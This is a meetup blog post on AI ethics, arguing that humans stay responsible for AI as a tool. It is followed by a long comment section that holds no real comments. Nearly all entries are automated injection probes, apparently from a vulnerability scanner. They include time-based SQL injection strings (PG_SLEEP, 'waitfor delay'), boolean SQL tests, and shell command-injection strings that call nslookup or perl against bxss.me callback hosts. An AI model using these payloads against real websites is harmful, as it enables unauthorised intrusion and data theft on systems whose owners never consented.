
Ethical AI AW
How can we demand that AI should be ethical when humans cannot unite on a definition of which ethics are the right ones?
Eight monkeys in a barrel, forced the rain to try to get some clarity in this question. After some discussions on what ethics actually is and what we view as AI, we found some common ground that might improve the future discussions on this topic.

Who makes the rules?
How to discover biases?
Are machines in companies ethical?
Can we build in ethics in the algorithms?
What responsibilities should never be delegated to AI?
To begin answering the questions above we need to realize that we can talk about AI in two contexts. One is the sentient AI that is a thousand times more intelligent than humans, in which case our ethics probably are as relevant to the robot as ant ethics are to humans. Regardless of how many rules we force on to the AI it will be the one making the decision if it will apply them or not. Since we humans act on many drivers like survival, procreation and other more social drivers that effect our daily choices. The computer is relieved of most of these. The decisions and choices made by a self-aware AI is therefore hard to predict. We can only hope that it is fully satisfied abiding to the human’s requests, and that it does not produce another reward function than to please humans.
The other context, that is getting increasingly relevant today is the ethics of the developers and scientists creating "smart" algorithms. There are already many cases where algorithms got trained on biased data and computers that make decisions in situations that no developer has foreseen.
To day you can still look at AI as a tool, designed by humans. As a tool, it is the creator and user of that tool that has the responsibility for how the tool is being used. Even a self-driving car is an advanced tool. And even if the car can drive without a driver, it should still be a human that bares the responsibility for the car. The process of figuring out who is responsible for an accident just got a lot more technical. But since there will be plenty of data as evidence, it will probably be easier to figure out who is to blame.
Do not miss another interesting meetup, join our group, and share your thoughts on interesting topics regarding AI and ML.
-
Johan Broddfelt
Afterwork
Comment
Comments
62 posts found8LlO2974') OR 208=(SELECT 208 FROM PG_SLEEP(12))--
2026-06-08 17:49:04 - wUmrLVWz
8orqzcuU' OR 586=(SELECT 586 FROM PG_SLEEP(12))--
2026-06-08 17:49:01 - wUmrLVWz
-1)) OR 938=(SELECT 938 FROM PG_SLEEP(12))--
2026-06-08 17:48:59 - wUmrLVWz
-5) OR 878=(SELECT 878 FROM PG_SLEEP(12))--
2026-06-08 17:48:56 - wUmrLVWz
-5 OR 412=(SELECT 412 FROM PG_SLEEP(12))--
2026-06-08 17:48:54 - wUmrLVWz
N41zpPmR'; waitfor delay '0:0:12' --
2026-06-08 17:48:50 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 17:48:47 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 17:48:45 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 17:48:42 - wUmrLVWz
-1 OR 3+487-487-1=0+0+0+1
2026-06-08 17:48:31 - wUmrLVWz
;(nslookup hitahewfbwliz95306.bxss.me||perl -e "gethostbyname('hitahewfbwliz95306.bxss.me')")|(nslookup hitahewfbwliz95306.bxss.me||perl -e "gethostbyname('hitahewfbwliz95306.bxss.me')")&(nslookup hitahewfbwliz95306.bxss.me||perl -e "gethostbyname('hitahewfbwliz95306.bxss.me')")
2026-06-08 17:48:31 - wUmrLVWz
`(nslookup hittgxcgkrloj9e64c.bxss.me||perl -e "gethostbyname('hittgxcgkrloj9e64c.bxss.me')")`
2026-06-08 17:48:29 - wUmrLVWz
-1 OR 2+487-487-1=0+0+0+1
2026-06-08 17:48:28 - wUmrLVWz
|(nslookup hithbhqkodken33b46.bxss.me||perl -e "gethostbyname('hithbhqkodken33b46.bxss.me')")
2026-06-08 17:48:27 - wUmrLVWz
-1 OR 3+299-299-1=0+0+0+1 --
2026-06-08 17:48:26 - wUmrLVWz
&(nslookup hitefsvbqsogs1e82b.bxss.me||perl -e "gethostbyname('hitefsvbqsogs1e82b.bxss.me')")&'"`0&(nslookup hitefsvbqsogs1e82b.bxss.me||perl -e "gethostbyname('hitefsvbqsogs1e82b.bxss.me')")&`'
2026-06-08 17:48:26 - wUmrLVWz
$(nslookup hitnkgaiguzmhe2a00.bxss.me||perl -e "gethostbyname('hitnkgaiguzmhe2a00.bxss.me')")
2026-06-08 17:48:24 - wUmrLVWz
-1 OR 2+299-299-1=0+0+0+1 --
2026-06-08 17:48:24 - wUmrLVWz
(nslookup hiteblfalnoed3a622.bxss.me||perl -e "gethostbyname('hiteblfalnoed3a622.bxss.me')")
2026-06-08 17:48:23 - wUmrLVWz
|echo vpkdrn$() xqgjnxnz^xyu||a #' |echo vpkdrn$() xqgjnxnz^xyu||a #|" |echo vpkdrn$() xqgjnxnz^xyu||a #
2026-06-08 17:48:20 - wUmrLVWz
&echo vjjccv$() yecqasnz^xyu||a #' &echo vjjccv$() yecqasnz^xyu||a #|" &echo vjjccv$() yecqasnz^xyu||a #
2026-06-08 17:48:19 - wUmrLVWz
echo xpvero$() vlurtfnz^xyu||a #' &echo xpvero$() vlurtfnz^xyu||a #|" &echo xpvero$() vlurtfnz^xyu||a #
2026-06-08 17:48:17 - wUmrLVWz
;(nslookup hitkmgwvsmewmd437e.bxss.me||perl -e "gethostbyname('hitkmgwvsmewmd437e.bxss.me')")|(nslookup hitkmgwvsmewmd437e.bxss.me||perl -e "gethostbyname('hitkmgwvsmewmd437e.bxss.me')")&(nslookup hitkmgwvsmewmd437e.bxss.me||perl -e "gethostbyname('hitkmgwvsmewmd437e.bxss.me')")
2026-06-08 13:42:16 - wUmrLVWz
`(nslookup hitjaxxsqnhhw6fe16.bxss.me||perl -e "gethostbyname('hitjaxxsqnhhw6fe16.bxss.me')")`
2026-06-08 13:42:13 - wUmrLVWz
|(nslookup hitvalaoklcnt35558.bxss.me||perl -e "gethostbyname('hitvalaoklcnt35558.bxss.me')")
2026-06-08 13:42:09 - wUmrLVWz
&(nslookup hitftrafggwzta8c19.bxss.me||perl -e "gethostbyname('hitftrafggwzta8c19.bxss.me')")&'"`0&(nslookup hitftrafggwzta8c19.bxss.me||perl -e "gethostbyname('hitftrafggwzta8c19.bxss.me')")&`'
2026-06-08 13:42:07 - wUmrLVWz
$(nslookup hitybpaxrukbv8e4b7.bxss.me||perl -e "gethostbyname('hitybpaxrukbv8e4b7.bxss.me')")
2026-06-08 13:42:04 - wUmrLVWz
(nslookup hitvjxcscnwxc0d914.bxss.me||perl -e "gethostbyname('hitvjxcscnwxc0d914.bxss.me')")
2026-06-08 13:42:01 - wUmrLVWz
|echo abjzed$() falsepnz^xyu||a #' |echo abjzed$() falsepnz^xyu||a #|" |echo abjzed$() falsepnz^xyu||a #
2026-06-08 13:41:57 - wUmrLVWz
&echo ldzgeq$() dnszlwnz^xyu||a #' &echo ldzgeq$() dnszlwnz^xyu||a #|" &echo ldzgeq$() dnszlwnz^xyu||a #
2026-06-08 13:41:54 - wUmrLVWz
echo efqmrg$() rdisdqnz^xyu||a #' &echo efqmrg$() rdisdqnz^xyu||a #|" &echo efqmrg$() rdisdqnz^xyu||a #
2026-06-08 13:41:51 - wUmrLVWz
BCdMpIgz')) OR 831=(SELECT 831 FROM PG_SLEEP(12))--
2026-06-08 13:40:33 - wUmrLVWz
Lv73cFj8') OR 705=(SELECT 705 FROM PG_SLEEP(12))--
2026-06-08 13:40:30 - wUmrLVWz
gio53yEf' OR 527=(SELECT 527 FROM PG_SLEEP(12))--
2026-06-08 13:40:28 - wUmrLVWz
-1)) OR 793=(SELECT 793 FROM PG_SLEEP(12))--
2026-06-08 13:40:26 - wUmrLVWz
-5) OR 729=(SELECT 729 FROM PG_SLEEP(12))--
2026-06-08 13:40:25 - wUmrLVWz
-5 OR 569=(SELECT 569 FROM PG_SLEEP(12))--
2026-06-08 13:40:23 - wUmrLVWz
20e14liD'; waitfor delay '0:0:12' --
2026-06-08 13:40:20 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 13:40:18 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 13:40:16 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 13:40:14 - wUmrLVWz
-1" OR 3*2>(0+5+887-887) --
2026-06-08 13:39:57 - wUmrLVWz
-1" OR 3*2<(0+5+887-887) --
2026-06-08 13:39:53 - wUmrLVWz
-1" OR 3+887-887-1=0+0+0+1 --
2026-06-08 13:39:51 - wUmrLVWz
-1" OR 2+887-887-1=0+0+0+1 --
2026-06-08 13:39:50 - wUmrLVWz
-1' OR 3*2>(0+5+141-141) or 'InuD8MUs'='
2026-06-08 13:39:47 - wUmrLVWz
-1' OR 3*2<(0+5+141-141) or 'InuD8MUs'='
2026-06-08 13:39:45 - wUmrLVWz
-1' OR 3+141-141-1=0+0+0+1 or 'InuD8MUs'='
2026-06-08 13:39:42 - wUmrLVWz
-1' OR 2+141-141-1=0+0+0+1 or 'InuD8MUs'='
2026-06-08 13:39:39 - wUmrLVWz
-1' OR 3*2>(0+5+975-975) --
2026-06-08 13:39:36 - wUmrLVWz
-1' OR 3*2<(0+5+975-975) --
2026-06-08 13:39:35 - wUmrLVWz
-1' OR 3+975-975-1=0+0+0+1 --
2026-06-08 13:39:32 - wUmrLVWz
-1' OR 2+975-975-1=0+0+0+1 --
2026-06-08 13:39:30 - wUmrLVWz
-1 OR 3*2>(0+5+431-431)
2026-06-08 13:39:28 - wUmrLVWz
-1 OR 3*2<(0+5+431-431)
2026-06-08 13:39:26 - wUmrLVWz
-1 OR 3+431-431-1=0+0+0+1
2026-06-08 13:39:24 - wUmrLVWz
-1 OR 2+431-431-1=0+0+0+1
2026-06-08 13:39:21 - wUmrLVWz
-1 OR 3*2>(0+5+90-90) --
2026-06-08 13:39:21 - wUmrLVWz
-1 OR 3*2<(0+5+90-90) --
2026-06-08 13:39:18 - wUmrLVWz
-1 OR 3+90-90-1=0+0+0+1 --
2026-06-08 13:39:17 - wUmrLVWz
-1 OR 2+90-90-1=0+0+0+1 --
2026-06-08 13:39:15 - wUmrLVWz
axsNwi0I')) OR 734=(SELECT 734 FROM PG_SLEEP(12))--
2026-06-08 17:49:06 - wUmrLVWz